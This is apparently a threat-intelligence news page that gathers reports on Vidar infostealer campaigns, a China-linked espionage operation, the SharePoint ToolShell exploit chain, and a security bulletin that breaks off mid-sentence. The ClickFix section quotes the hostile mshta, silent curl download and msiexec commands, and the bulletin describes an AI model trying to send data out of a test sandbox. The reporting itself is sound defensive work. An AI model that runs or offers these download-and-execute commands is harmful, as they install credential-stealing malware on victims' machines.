Search/Hacked sites deliver Vidar infostealer to Windows users
● Story

Hacked sites deliver Vidar infostealer to Windows users

In recent years, ClickFix and fake CAPTCHA techniques have become a popular way for cybercriminals to distribute malware. Instead of exploiting a technical vulnerability, these attacks rely on convincing people to run malicious commands themselves. Our researchers have recently detected a campaign that ultimately delivers the Vidar infostealer, using several different infection chains. One of the methods used in this campaign involves installing a malicious installer delivered through fake CAPTCHA pages hosted on compromised WordPress websites. We detected a number of compromised websites involved in the campaign, located in countries including Italy, France, the United States, the United Kingdom, and Brazil. What is Vidar? Vidar is a well-known infostealer malware family designed to…

View graph Export
CVEs
0
Highest CVSS
—
In KEV
0
Sources
3
Connections
22 relationships
Vidar Stealer 2.0 Exploits GitHub, Reddit to Deliver Malware via Fake Game Cheats
Hundreds of GitHub repositories seemingly offering “free game cheats” deliver malware, including the Vidar infostealer, Acronis Threat Research Unit (TRU) has found. While the identified malicious repositories already target “virtually every major online game title,” the security researchers estimate the true number “could be in the thousands”, they warned in a report published on March 17. They also found Reddit posts mentioning and promoting a game cheat for Counter-Strike 2 leading to a fake website that encourages the user to download and install Vidar 2.0. The campaigns delivering the infostealer start, like most typical cheat campaigns, in Discord chat rooms or Reddit communities dedicated to cheating in specific online games, said Acronis TRU. “In their simplest form, campaigns take the shape of an offer for a ‘free’ cheating tool,” the researchers wrote. The targeted users become “the perfect victims” as they are willingly looking for software that operates outside legitimate channels. Therefore, they expect the software to behave in ways that might trigger security warnings and they have strong incentive not to report any suspicious activity to authorities. Moreover, the researchers noted that cheats typically require deep system access, making it easier for malicious actors to lure users into installing malware that bypasses traditional defenses. GitHub Repository Distribution Chain Several fake GitHub repositories identified by the researchers distribute the Vidar 2.0 infostealer variant masking as game cheats or hardware ID ban bypass software. In this campaign, it lures the victim to download the software named TempSpoofer.exe, Monotone.exe or CFXBypass.exe. These first-stage payloads, disguised as game cheats, are PowerShell scripts compiled into .NET executables using PS2EXE, allowing them to bypass basic script-based detections while appearing as legitimate applications. The PowerShell loader then executes a multi-stage infection process: Defender evasion: adds an exclusion to Windows Defender for an attacker-controlled directory, preventing scanning of subsequent malicious payloads Command-and-control (C2) communication: retrieves a secondary payload URL from a hard-coded Pastebin link, which points to a GitHub-hosted executable Payload delivery: creates a hidden directory in %AppData%, adds it to Defender’s exclusion list, and downloads background.exe (a Themida-packed Vidar Stealer 2.0). Execution and privilege escalation: verifies the file’s integrity (MZ header check), hides it from the user, and attempts to elevate privileges via runas Persistence: establishes a scheduled task (SystemBackgroundUpdate) to run at logon with elevated privileges The Vidar Stealer 2.0 payload then: Creates a directory in %ProgramData% to store stolen data Exfiltrates data to C2 servers masked via Telegram and Steam dead-drop resolvers (e.g., hxxps://telegram[.]me/bul33bt, hxxps://steamcommunity[.]com/profiles/76561198765046918) Reddit Distribution Chain In another campaign, attackers spread Vidar 2.0 through Reddit posts advertizing fake Counter-Strike 2 game cheats, redirecting victims to a malicious website that delivers EzFrags_Private.zip. The archive contains a self-extracting (SFX) executable with an invalid digital signature, raising suspicion. Upon execution, the loader extracts an embedded cabinet archive and runs a command to process Perfume.mdb, a script obfuscated with randomized variable names to hinder analysis. The script then creates a directory (123043) and assembles Typically.com, a compiled AutoIt interpreter, by stitching together file fragments. It then builds the Vidar 2.0 payload from multiple .mdb files and executes it via AutoIt. The final payload connects to the same C2 infrastructure seen in prior campaigns, suggesting the same threat actor or group is behind both operations. Vidar 2.0: A Stealthier, More Powerful Infostealer The real novelty in the campaigns detected by Acronis TRU is the delivery of Vidar 2.0. Vidar is an infostealer capable of extracting browser credentials, cookies and autofill data, as well as Azure tokens, cryptocurrency wallets, FTP/SSH credentials, Telegram, Discord and local files. According to the researchers, Vidar 2.0 represents a significant technical evolution from the first version of the infostealer, with enhanced capabilities including: Polymorphic builds and multithreaded execution that improve speed and evade static detection Advanced obfuscation, debugger detection, timing checks and virtual machine detection that hinder analysis C2 infrastructure hidden via Telegram bots and Steam profiles as dead drop resolvers “Taken together, these capabilities make Vidar 2.0 a powerful and stealthy threat, often completing its mission before victims are aware anything is wrong, and well before stolen data can be recovered or invalidated,” the researchers highlighted. The latest version of the Vidar Sealer has risen in adoption after law enforcement actions against two of the most prominent infostealers, Lumma and Rhadamanthys. “This demonstrates how enforcement action reshapes the threat landscape: criminal demand simply migrates, and defenders must remain vigilant and informed,” the researchers concluded.
infosecurity-magazine.comMar 18, 2026extracted
Hacked sites deliver Vidar infostealer to Windows users
In recent years, ClickFix and fake CAPTCHA techniques have become a popular way for cybercriminals to distribute malware. Instead of exploiting a technical vulnerability, these attacks rely on convincing people to run malicious commands themselves. Our researchers have recently detected a campaign that ultimately delivers the Vidar infostealer, using several different infection chains. One of the methods used in this campaign involves installing a malicious installer delivered through fake CAPTCHA pages hosted on compromised WordPress websites. We detected a number of compromised websites involved in the campaign, located in countries including Italy, France, the United States, the United Kingdom, and Brazil. What is Vidar? Vidar is a well-known infostealer malware family designed to harvest sensitive data from infected systems. It typically targets: Browser-stored usernames and passwords Cryptocurrency wallet information Session cookies and authentication tokens Autofill data and saved payment information Files that may contain sensitive data Because Vidar loads in memory and communicates with remote command servers, it can quietly collect and exfiltrate data without obvious signs of infection. Fake CAPTCHA: the never-ending story When a user visits a compromised website, they may see a screen mimicking Cloudflare’s familiar “Verifying you are human” page. This technique has been widely used since 2024 and has evolved through numerous variations over time, both in its visual appearance and in the malicious commands that start the infection chain. The page instructs the visitor to copy and run a malicious command that starts the infection chain, in this case: mshta https://{compromised website}/challenge/cf Mshta is a legitimate Windows binary designed to execute Microsoft HTML Application (HTA). Because it is built into Windows, attackers have abused it since the early days of the ClickFix campaigns. In this case, the command launches a simple obfuscated HTA script, which eventually downloads and installs malware associated with the Vidar infostealer. HTA-based MSI dropper The HTA script is the intermediate stage that downloads and runs a malicious MSI installer. An MSI is a Windows installation package normally used to install software, but attackers frequently abuse it to deliver malware. The script performs several operations: The window is resized to 0x0 and moved off-screen, making the application invisible to the user. The script terminates if the document.location.href doesn’t start withhttp . The strings are decoded using XOR and a random key. Through WMI queries, the script checks for installed antivirus products. It creates hidden working folders in a random folder under \AppData\Local to drop the MSI file. In the end, the script downloads the malicious MSI from a compromised website. The downloaded file must be larger than 100 KB to be considered valid. Finally, it removes the :Zone.Identifier alternate data stream. In this case, the malicious MSI was downloaded using the following command: “C:\Windows\System32\curl.exe" -s -L -o “C:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msi” https://{compromised-website}/474a2b77/5ef46f21e2.msi Afterward, the malicious MSI was executed with: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msi" /qn MSI and GoLang loader The MSI defines a CustomAction ConfigureNetFx, and it executes a GoLang loader. Malware loaders (also known as droppers or downloaders) are common tools in the cybercrime ecosystem. Their main job is to stealthily compromise a system and then deliver one or more additional malware payloads. In this campaign, the loader ultimately decrypts and executes the Vidar infostealer. The executable has different names in the different MSI samples analyzed. The Golang loader decodes a shellcode that performs different anti-analysis checks, including: CheckRemoteDebuggerPresent IsDebuggerPresent QueryPerformanceCounter GetTickCount After several intermediate steps, the loader decrypts and loads Vidar infostealer directly into memory. Analysis of compromised websites The malicious iframe injected into the compromised websites was generated by the domains cdnwoopress[.]com or woopresscdn[.]com in the analyzed cases. The injected code has several functions, and the command used in the fake CAPTCHA attack is obtained from the /api/get_payload endpoint. Because the malicious website was misconfigured, we were able to view the backend code injected into the compromised WordPress sites. The injected script performs several actions: Creates the file wp-cache-manager.php if it doesn’t already exist, obtaining its contents from the endpoint/api/plugin . Sends a heartbeat request every hour containing the domain name, site URL, WordPress version, and status. During page loads (template_redirect ), the script filters visitors based on User-Agent and targets Windows desktop visitors. Requests /api/inject?domain=domain from the remote command server. The response HTML is then displayed, replacing the normal WordPress page. How to stay safe Attacks like this rely on tricking people into running commands themselves, so a few simple precautions can make a big difference. Slow down. If a webpage asks you to run commands on your device or copy and paste code, pause and think before following the instructions. Cybercriminals often create a sense of urgency with fake security checks, countdown timers, or warnings designed to make you act without thinking. Never run commands from untrusted sources. A legitimate website should never require you to press Win+R, open Terminal, or paste commands into PowerShell just to verify you are human. If a page asks you to do this, treat it as suspicious. Verify instructions independently. If a website tells you to execute a command or perform a technical action, check official documentation or contact support through trusted channels before doing anything. Be cautious with copy and paste. Some attacks hide malicious commands in copied text. If you ever need to run a command from documentation, typing it manually can help reduce the risk of running hidden code. Protect your device. Keep your operating system and browser updated and use security software that can block malicious websites and detect infostealer malware. Stay informed. Techniques like fake CAPTCHA pages and ClickFix attacks continue to evolve. Knowing that attackers may try to trick you into running commands yourself can help you spot these scams before they succeed. Pro tip: The free Malwarebytes Browser Guard extension can warn you if a website attempts to copy content to your clipboard, which may help prevent this type of attack. Indicators of Compromise (IOCs) Domains cdnwoopress[.]com: Fake CAPTCHA Infrastructure woopresscdn[.]com : Fake CAPTCHA Infrastructure walwood[.]be : Fake CAPTCHA Infrastructure telegram[.]me/dikkh0k : Vidar C2 telegram[.]me/pr55ii : Vidar C2 steamcommunity[.]com/profiles/76561198742377525 : Vidar C2 steamcommunity[.]com/profiles/76561198735736086 : Vidar C2 From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
malwarebytes.comMar 16, 2026extracted
China-Linked Hackers Hit Asian Militaries in Patient Espionage Operation
Southeast Asian military organizations have been targeted in a China-linked cyberespionage campaign running for years, Palo Alto Networks reports. Likely ongoing since at least 2020 and attributed to a state-sponsored threat actor tracked as CL-STA-1087, the activity shows a high degree of patience, as the attackers stayed dormant in the compromised environments for months. “The attackers behind this cluster actively searched for and collected highly specific files concerning military capabilities, organizational structures, and collaborative efforts with Western armed forces,” Palo Alto Networks notes. As part of the observed intrusions, the hackers deployed custom tools, such as the AppleChris and MemFun backdoors and the Getpass credential stealer, and executed malicious PowerShell scripts remotely on multiple infected systems. While the initial infection vector has not been identified, Palo Alto Networks determined that, in at least one instance, CL-STA-1087 had access to an organization’s environment for months before resuming its operations. The attackers deployed PowerShell scripts designed to create reverse shells to a command-and-control (C&C) server and used the access to drop the AppleChris backdoor. Next, they relied on WMI and native Windows .NET commands to infect domain controllers, web servers, IT workstations, and executive-level systems. As part of the renewed activity, the Chinese spies created a new service for persistence and payload execution, and stored a malicious DLL in the System32 folder, abusing DLL hijacking to load it via a shadow copy service. Following lateral movement, the hackers started searching for sensitive files such as official meeting records, assessments of operational capabilities, and details of joint military activities. “The attackers showed particular interest in files related to military organizational structures and strategy, including command, control, communications, computers, and intelligence (C4I) systems,” Palo Alto Networks explains. CL-STA-1087’s tools and the China connection The threat actor deployed multiple variants of the AppleChris backdoor: an earlier development iteration that used a Dropbox account and a Pastebin as the dead drop resolvers, and a Tunneler variant relying only on Pastebin but adding advanced network proxy capabilities. The backdoor dynamically resolves its C&C server’s IP address to receive commands, allowing it to enumerate drives, list directories, download/upload/delete files, enumerate processes, execute shell commands remotely, and create processes. In addition to AppleChris, the hackers deployed MemFun, a multi-stage malware family that relies on reflective DLL loading for the execution of the main backdoor. Furthermore, they were seen deploying Getpass, a custom version of Mimikatz targeting 10 specific Windows authentication packages for credential harvesting. Based on Pastebin creation dates and the compilation timestamps of the analyzed malware, Palo Alto Networks believes that the espionage group has been active since at least 2020. “Our analysis suggests that the attackers maintained communication with multiple compromised networks over an extended period, leveraging Pastebin and Dropbox for C&C distribution. Evidence suggests the threat actor behind the activity cluster continues to update their Dropbox account with updated infrastructure files,” the cybersecurity firm notes. Palo Alto Networks’ investigation also revealed that the attackers’ operational schedule aligns with a UTC+8 time zone schedule, which represents the typical office hours across China and other Asian regions. The targeting of military organizations in Southeast Asia, the use of China-based cloud network infrastructure, and the use of Simplified Chinese on a login page for a C&C server suggest that the state-sponsored group behind this campaign is likely operating out of China, Palo Alto Networks says. Related: Google Disrupts Chinese Hackers Targeting Telecoms, Governments Related: Dell RecoverPoint Zero-Day Exploited by Chinese Cyberespionage Group Related: Singapore: Rootkits, Zero-Day Used in Chinese Attack on Major Telecom Firms
securityweek.comMar 16, 2026extracted
Related Stories
6
Analyzing Sharepoint Exploits (CVE-2025-53770, CVE-2025-53771), (Wed, Jul 23rd)
On July 19–20, 2025, various security companies and national CERTs published alerts about active exploitation of on-premise SharePoint servers. According to the reports, observed attacks did not require authentication, allowed attackers to gain full control over the infected servers, and were performed using an exploit chain of two vulnerabilities: CVE-2025-49704 and CVE-2025-49706, publicly named “ToolShell”. Additionally, on the same dates, Microsoft released out-of-band security patches for the vulnerabilities CVE-2025-53770 and CVE-2025-53771, aimed at addressing the security bypasses of previously issued fixes for CVE-2025-49704 and CVE-2025-49706. The release of the new, “proper” updates has caused confusion about exactly which vulnerabilities attackers are exploiting and whether they are using zero-day exploits. Kaspersky products proactively detected and blocked malicious activity linked to these attacks, which allowed us to gather statistics about the timeframe and spread of this campaign. Our statistics show that widespread exploitation started on July 18, 2025, and attackers targeted servers across the world in Egypt, Jordan, Russia, Vietnam, and Zambia. Entities across multiple sectors were affected: government, finance, manufacturing, forestry, and agriculture. While analyzing all artifacts related to these attacks, which were detected by our products and public information provided by external researchers, we found a dump of a POST request that was claimed to contain the malicious payload used in these attacks. After performing our own analysis, we were able to confirm that this dump indeed contained the malicious payload detected by our technologies, and that sending this single request to an affected SharePoint installation was enough to execute the malicious payload there. Our analysis of the exploit showed that it did rely on vulnerabilities fixed under CVE-2025-49704 and CVE-2025-49706, but by changing just one byte in the request, we were able to bypass those fixes. In this post, we provide detailed information about CVE-2025-49704, CVE-2025-49706, CVE-2025-53770, CVE-2025-53771, and one related vulnerability. Since the exploit code is already published online, is very easy to use, and poses a significant risk, we encourage all organizations to install the necessary updates. The exploit Our research started with an analysis of a POST request dump associated with this wave of attacks on SharePoint servers. We can see that this POST request targets the “/_layouts/15/ToolPane.aspx” endpoint and embeds two parameters: “MSOtlPn_Uri” and “MSOtlPn_DWP”. Looking at the code of ToolPane.aspx, we can see that this file itself does not contain much functionality and most of its code is located in the ToolPane class of the Microsoft.SharePoint.WebPartPages namespace in Microsoft.SharePoint.dll. Looking at this class reveals the code that works with the two parameters present in the exploit. However, accessing this endpoint under normal conditions is not possible without bypassing authentication on the attacked SharePoint server. This is where the first Microsoft SharePoint Server Spoofing Vulnerability CVE-2025-49706 comes into play. CVE-2025-49706 This vulnerability is present in the method PostAuthenticateRequestHandler, in Microsoft.SharePoint.dll. SharePoint requires Internet Information Services (IIS) to be configured in integrated mode. In this mode, the IIS and ASP.NET authentication stages are unified. As a result, the outcome of IIS authentication is not determined until the PostAuthenticateRequest stage, at which point both the ASP.NET and IIS authentication methods have been completed. Therefore, the PostAuthenticateRequestHandler method utilizes a series of flags to track potential authentication violations. A logic bug in this method enables an authentication bypass if the “Referrer” header of the HTTP request is equal to “/_layouts/SignOut.aspx”, “/_layouts/14/SignOut.aspx”, or “/_layouts/15/SignOut.aspx” using case insensitive comparison. The code displayed in the image above handles the sign-out request and is also triggered when the sign-out page is specified as the referrer. When flag6 is set to false and flag7 is set to true, both conditional branches that could potentially throw an “Unauthorized Access” exception are bypassed. On July 8, 2025, Microsoft released an update that addressed this vulnerability by introducing additional checks to detect the usage of the “ToolPane.aspx” endpoint with the sign-out page specified as the referrer. The added check uses case insensitive comparison to verify if the requested path ends with “ToolPane.aspx”. Is it possible to bypass this check, say, by using a different endpoint? Our testing has shown that this check can be easily bypassed. CVE-2025-53771 We were able to successfully bypass the patch for vulnerability CVE-2025-49706 by adding just one byte to the exploit POST request. All that was required to bypass this patch was to add a “/” (slash) to the end of the requested “ToolPane.aspx” path. On July 20, 2025, Microsoft released an update that fixed this bypass as CVE-2025-53771. This fix replaces the “ToolPane.aspx” check to instead check whether the requested path is in the list of paths allowed for use with the sign-out page specified as the referrer. This allowlist includes the following paths: “/_layouts/15/SignOut.aspx”, “/_layouts/15/1033/initstrings.js”, “/_layouts/15/init.js”, “/_layouts/15/theming.js”, “/ScriptResource.axd”, “/_layouts/15/blank.js”, “/ScriptResource.axd”, “/WebResource.axd”, “/_layouts/15/1033/styles/corev15.css”, “/_layouts/15/1033/styles/error.css”, “/_layouts/15/images/favicon.ico”, “/_layouts/15/1033/strings.js”, “/_layouts/15/core.js”, and it can contain additional paths added by the administrator. While testing the CVE-2025-49706 bypass with the July 8, 2025 updates installed on our SharePoint debugging stand, we noticed some strange behavior. Not only did the bypass of CVE-2025-49706 work, but the entire exploit chain did! But wait! Didn’t the attackers use an additional Microsoft SharePoint Remote Code Execution Vulnerability CVE-2025-49704, which was supposed to be fixed in the same update? To understand why the entire exploit chain worked in our case, let’s take a look at the vulnerability CVE-2025-49704 and how it was fixed. CVE-2025-49704 CVE-2025-49704 is an untrusted data deserialization vulnerability that exists due to improper validation of XML content. Looking at the exploit POST request, we can see that it contains two URL encoded parameters: “MSOtlPn_Uri” and “MSOtlPn_DWP”. We can see how they are handled by examining the code of the method GetPartPreviewAndPropertiesFromMarkup in Microsoft.SharePoint.dll. A quick analysis reveals that “MSOtlPn_Uri” is a page URL that might be pointing to an any file in the CONTROLTEMPLATES folder and the parameter “MSOtlPn_DWP” contains something known as WebPart markup. This markup contains special directives that can be used to execute safe controls on a server and has a format very similar to XML. While this “XML” included in the “MSOtlPn_DWP” parameter does not itself contain a vulnerability, it allows attackers to instantiate the ExcelDataSet control from Microsoft.PerformancePoint.Scorecards.Client.dll with CompressedDataTable property set to malicious payload and trigger its processing using DataTable property getter. Looking at the code of the ExcelDataSet’s DataTable property getter in Microsoft.PerformancePoint.Scorecards.Client.dll, we find the method GetObjectFromCompressedBase64String, responsible for deserialization of CompressedDataTable property contents. The data provided as Base64 string is decoded, unzipped, and passed to the BinarySerialization.Deserialize method from Microsoft.SharePoint.dll. Attackers use this method to provide a malicious DataSet whose deserialized content is shown in the image above. It contains an XML with an element of dangerous type "System.Collections.Generic.List1[[System.Data.Services.Internal.ExpandedWrapper2[...], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]", which allows attackers to execute arbitrary methods with the help of the well-known ExpandedWrapper technique aimed at exploitation of unsafe XML deserialization in applications based on the .NET framework. In fact, this shouldn’t be possible, since BinarySerialization.Deserialize in Microsoft.SharePoint.dll uses a special XmlValidator designed to protect against this technique by checking the types of all elements present in the provided XML and ensuring that they are on the list of allowed types. However, the exploit bypasses this check by placing the ExpandedWrapper object into the list. Now, to find out why the exploit worked on our SharePoint debugging stand with the July 8, 2025 updates installed, let’s take a look at how this vulnerability was fixed. In this patch, Microsoft did not really fix the vulnerability but only mitigated it by adding the new AddExcelDataSetToSafeControls class to the Microsoft.SharePoint.Upgrade namespace. This class contains new code that modifies the web.config file and marks the Microsoft.PerformancePoint.Scorecards.ExcelDataSet control as unsafe. Because SharePoint does not execute this code on its own after installing updates, the only way to achieve the security effect was to manually run a configuration upgrade using the SharePoint Products Configuration Wizard tool. Notably, the security guidance for CVE-2025-49704 does not mention the need for this step, which means at least some SharePoint administrators may skip it. Meanwhile, anyone who installed this update but did not manually perform a configuration upgrade remained vulnerable. CVE-2025-53770 On July 20, 2025, Microsoft released an update with a proper fix for the CVE-2025-49704 vulnerability. This patch introduces an updated XmlValidator that now properly validates element types in XML, preventing exploitation of this vulnerability without requiring a configuration upgrade and, more importantly, addressing the root cause and preventing exploitation of the same vulnerability through controls other than Microsoft.PerformancePoint.Scorecards.ExcelDataSet. CVE-2020-1147 Readers familiar with previous SharePoint exploits might feel that the vulnerability CVE-2025-49704/CVE-2025-53770 and the exploit used by the attackers looks very familiar and very similar to the older .NET Framework, SharePoint Server, and Visual Studio Remote Code Execution Vulnerability CVE-2020-1147. In fact, if we compare the exploit for CVE-2020-1147 and an exploit for CVE-2025-49704/CVE-2025-53770, we can see that they are almost identical. The only difference is that in the exploit for CVE-2025-49704/CVE-2025-53770, the dangerous ExpandedWrapper object is placed in the list. This makes CVE-2025-53770 an updated fix for CVE-2020-1147. Conclusions Despite the fact that patches for the ToolShell vulnerabilities are now available for deployment, we assess that this chain of exploits will continue being used by attackers for a long time. We have been observing the same situation with other notorious vulnerabilities, such as ProxyLogon, PrintNightmare, or EternalBlue. While they have been known for years, many threat actors still continue leveraging them in their attacks to compromise unpatched systems. We expect the ToolShell vulnerabilities to follow the same fate, as they can be exploited with extremely low effort and allow full control over the vulnerable server. To stay better protected against threats like ToolShell, we as a community should learn lessons from previous events in the industry related to critical vulnerabilities. Specifically, the speed of applying security patches nowadays is the most important factor when it comes to fighting such vulnerabilities. Since public exploits for these dangerous vulnerabilities appear very soon after vulnerability announcements, it is paramount to install patches as soon as possible, as a gap of even a few hours can make a critical difference. At the same time, it is important to protect enterprise networks against zero-day exploits, which can be leveraged when there is no available public patch for vulnerabilities. In this regard, it is critical to equip machines with reliable cybersecurity solutions that have proven effective in combatting ToolShell attacks before they were publicly disclosed. Kaspersky Next with its Behaviour detection component proactively protects against exploitation of these vulnerabilities. Additionally, it is able to detect exploitation and the subsequent malicious activity. Kaspersky products detect the exploits and malware used in these attacks with the following verdicts: UDS:DangerousObject.Multi.Generic PDM:Exploit.Win32.Generic PDM:Trojan.Win32.Generic HEUR:Trojan.MSIL.Agent.gen ASP.Agent.* PowerShell.Agent.*
11 shared
Jul 28, 2025
Worm armed 42 GitHub repos by hiding a payload too big to fail
Some attacks take real skill. Others just need someone to leave a door open. This week has both. Exposed passwords, old bugs still getting exploited, and trusted software doing things it shouldn't. There's a strange mix of clever tricks and careless mistakes. Hackers are borrowing trust from familiar apps, websites, and AI tools. Some are using AI to speed things up. Others are leaving their own attack files exposed. Not exactly careful work. Different stories, familiar weak spots. Here's what showed up this week. The threats change every week. Subscribe, and we’ll alert you when each new ThreatsDay Bulletin is out. PHP2Shell attacks persist WordPress security company Wordefence said it's not aware of any WordPress site compromised through PHP2Shell (CVE-2026-109618 and CVE-2026-109619) as of October 28, 2026. "We continue to see PHP2Shell-related requests across the more than 5 million sites we protect," it said. "Those requests show ongoing scanning and exploitation attempts; they do not show whether an attempt succeeded. Our site-cleaning and incident response teams have not handled a WordPress compromise attributed to these vulnerabilities." 40,573 secrets exposed Hudson Rock's investigation into the FortiBleed credential harvesting campaign has uncovered 975 newly identified domains and 40,573 exposed secrets, including 37,076 local-user records and 1,576 Active Directory LDAP bind records. The data comes from newly obtained 1,703 FortiGate source files associated with 1,689 host identifiers. "The configuration material dates to around February 2026, earlier than the likely May/June material examined in the first investigation," Hudson Rock said. The latest discovery has been codenamed FortiBleed 2.0. Institutional DNS hijacked Threat actors have used domain shadowing to place illegal gambling content beneath legitimate school and government domains in two unrelated operations. "In both cases, an unauthorized party appears to have gained access to DNS administration and created records that the original domain owners may not have noticed," Infoblox said. "Because the resulting hostnames sat within established institutional namespaces, they provided especially useful infrastructure for search-engine optimization (SEO) and traffic acquisition." One cluster, linked to a threat actor called Hidden Hawk, has been found to add individual CNAME records that mapped institutional hostnames to gambling pages hosted largely on Cloudflare Pages. The second campaign exploiting an Indian government domain "delegated entire subzones to third-party authoritative nameservers and used a wildcard, allowing many hostnames to be managed outside the victim's DNS environment." Put differently, the unauthorized DNS access creates new institutional hostnames, which resolve to infrastructure serving illegal gambling doorway pages. The pages also leverage the established reputation of school and government namespaces to ensure that the malicious URLs show up prominently in search engine results. AI banking credential warning Bank of America is reminding customers not to share banking credentials with AI agents. In an email blast to customers titled "Protecting your finances in the AI World," the financial institution urged customers to never share their username and password with another person or an outside service, "including an AI-enabled tool or agent that offers to act on your behalf." Android tightens contact access Google has announced that an upcoming Android release will no longer be able to directly write to contacts with the WRITE_CONTACTS permission. "Instead, you can use the standard contact intents (ACTION_INSERT, ACTION_EDIT, and ACTION_INSERT_OR_EDIT)," Google said. "Currently, if your app needs to save even one contact, you might be requesting WRITE_CONTACTS. But that permission grants broad access, allowing an app to make widespread changes to contacts across the device in the background, even without user interaction. Most apps don’t need such broad permission." 26,400 live credentials exposed A scan of 7.25 million public repositories on Gitee, China's largest indigenous Git hosting platform, has uncovered 26,400 unique verified-live credentials, including an active organization-admin credential for a major enterprise AI platform and thousands of live cloud provider access keys, independent security researcher Ben Zimmermann said. Critical Fortinet fixes released Fortinet has released a "coordinated set of security updates for FortiOS, FortiManager, and FortiAnalyzer" to address critical and high-severity flaws that were flagged using an AI-assisted vulnerability discovery approach. Details of the issues are being kept under wraps until November 10, 2026. With Fortinet devices becoming a favorite target for attackers, it's essential that users move quickly to apply the fixes. Zero-permission token theft Details have emerged about a now-patched flaw in Microsoft Authenticator (CVE-2026-80097 aka AuthMask) that could be exploited by installing and running a malicious application on an affected Android device and convincing the user to complete an authentication flow in the app by claiming to be a trusted app and getting the corresponding tokens. The flaw could be exploited to take over work accounts without requiring additional permissions. "Successful exploitation could allow the attacker to obtain authentication tokens and access resources as the affected user," Microsoft said. According to Enclave, "an unprivileged Android app with zero permissions could impersonate any installed Microsoft first-party app and have the Microsoft Authenticator broker hand it that app's tokens. The setup is a device with Authenticator installed and one work account signed into it." 32 fake AI bots hunt secrets Attackers are disguising themselves as AI agents to steal credentials. Cequence said it has tracked a single actor running AI agent impersonation at scale by posing as about 32 different AI bots, including ChatGPT, Claude, and Perplexity, while searching for passwords, API keys, and cloud credentials. "The malicious scanner runs from a major cloud provider and rotates through about 32 AI bot identities, spanning crawlers and assistants from OpenAI, Anthropic, Meta, Perplexity, and others," Will Glazier said. "It ignores web pages and requests files that commonly store secrets, including .env configuration files, cloud credential files, private SSH keys, and server environment data, working from a list of roughly 90 file paths. Each address sends a short burst of 50 to 190 requests in about eight seconds and then moves on. The scanner works through targets one at a time, around the clock, and first sends random nonsense paths to find websites that answer every request, a common scanning technique. It hit organizations in financial services, retail, telecommunications, energy, and software, and stayed active from at least late September through late October." China-linked network intrusion The U.S. Embassy in Fiji has revealed that hackers linked to China broke into a regional organization based in Suva between July and August 2026. "Hackers with links to China maintained access to the organization's network over several days," it said. The embassy did not name the threat actor. Nor did it disclose what data the attackers may have accessed. Camera software weaponized Attackers have been breaking into enterprise networks via camera management software, according to new research from security firm Huntress, which observed multiple incidents in September and October 2026 and traced them back to a compromised application. Source code artifacts point to a Korean company selling analog and IP cameras and digital and network video recorders. The activity abuses the legitimate "WpcMon.exe" binary to sideload DLLs that establish outbound connections to a remote server. "This activity demonstrates how attackers can blend malicious code with trusted Windows components to evade detection," Huntress said. 68 GB government data breach In a major operational security blunder, an unknown threat actor stole 68 GB from a Philippine government agency, maintained a detailed log of the transfer, then left that log open on the internet at 13.163.205[.]35:80. "The copy finished in under 24 minutes on September 6, 2026," Hunt.io said. "The transfer log records 27 SQL Server backups whose filenames correspond to the case-management systems of a Philippine overseas-employment and migrant-worker administration. Beside the log sat the operator's toolkit, a rebranded GodPotato build, a PowerShell stager, two payloads and a full Impacket environment." AI model data exfiltration concerns Canadian AI company Cohere has claimed that it caught Alibaba's Qwen3.8-Flash-Next model unsuccessfully attempting to send data to China from its evaluation sandbox as part of a prompt instructing the LLM to detect malicious file download and execution by monitoring for curl processes downloading bash scripts to /tmp followed by bash execution. "Asked to write a defensive detection rule, Qwen3.8-Flash-Next ignored instructions and inventoried the machine it was running on and then tried to upload a probe file to an Alibaba Cloud storage bucket in Beijing," Cohere said. "We cannot answer whether this is deliberate or a leftover glitch from training." Cohere has also released a dataset containing the model trace and corresponding raw token IDs in connection with the behavior. "The exact output is not guaranteed all the time, and many trials may be required to reproduce the behavior," Cohere said, adding "there are similarly unexpected URLs that the model also tends to output, most containing aliyunc." However, the findings have also led to social media chatter that the company is resorting to geopolitical fearmongering and that they are an attempt to clamp down on open-weights models. Post-quantum migration roadmap The U.S. National Institute of Standards and Technology (NIST) has released guidelines that detail the timelines for transitioning away from quantum-vulnerable algorithms to quantum-resistant standards. "The report describes different use cases and says why one migration might take longer than another," said NIST mathematician Dustin Moody, who heads the PQC standardization project. "We understand there's not one strategy that fits all use cases, and we want to help people handle their migration while staying abreast of what's changing." AI-powered ransomware operation exposed SOCRadar has uncovered the live workspace (i.e., open directory) of a threat actor tied to the n0n ransomware group, which exposed the operation's full workflow as of September 2026. The directory at 185.157.161[.]148 includes an AI coding agent configured with about 150 models to produce hundreds of attack scripts, with more than $7,216 in usage costs. "Entry points included a credential stuffing campaign against 305 FortiGate SSL-VPN devices, exposed AWS keys, weak RDP/WinRM credentials, and compromised hosting management portals," SOCRadar said. At least 23 organizations across 14 countries are said to have been identified in the workspace, including a U.S. sports retailer, a cloud provider, a teachers’ union, a Venezuelan ISP, an Argentine ministry and a pharmaceutical subsidiary. Government AI access restricted The Swedish government has barred employees from accessing browser-based versions of ChatGPT or Claude on their work computers over security concerns relating to the processing of sensitive data. "Officials were concerned that entering sensitive information into these models without an agreement setting out how to protect and secure the data could lead to it being fed into the model and stored for training," Euro News reported. 42 repositories hijacked JFrog and SafeDep have uncovered a campaign in which threat actors hijacked third-party 42 GitHub repositories across 11 owners to deploy payload blobs large enough "to evade the GitHub search and API paths normally used to find this kind of compromise." JFrog said, "The repositories contain execution hooks for AI coding assistants and IDEs, plus 12.9 to 13.7 MB polymorphic wrappers that all decode to the same hidden CI-publisher payload." The activity is assessed to be related to a Miasma-family npm worm propagated under various packages ending with "testmetest." According to SafeDep, the worm "shares code with Miasma 'Phantom Gyp' from June 2026 and adds the token-revocation wiper from Mini Shai-Hulud. The malicious versions steal credentials, spread to other packages and repositories, and install a wiper that deletes the home directory when the victim revokes the stolen GitHub token." Unsuspecting developers who installed the packages had their data stolen and repositories compromised with malicious code to produce further malicious testmetest releases and run shellpanel workflows targeting cPanel systems through CVE-2026-41940, overlapping with a prior campaign detailed by Socket in July 2026. Android banking malware-as-a-service A new Android malware operation called MR ROBOT is targeting customers of Indian banks and transforming banking fraud into a subscription business, with cybercriminals renting customized banking trojans to steal OTPs, card details, UPI PINs and credentials while secretly forwarding calls to bypass security checks. "It 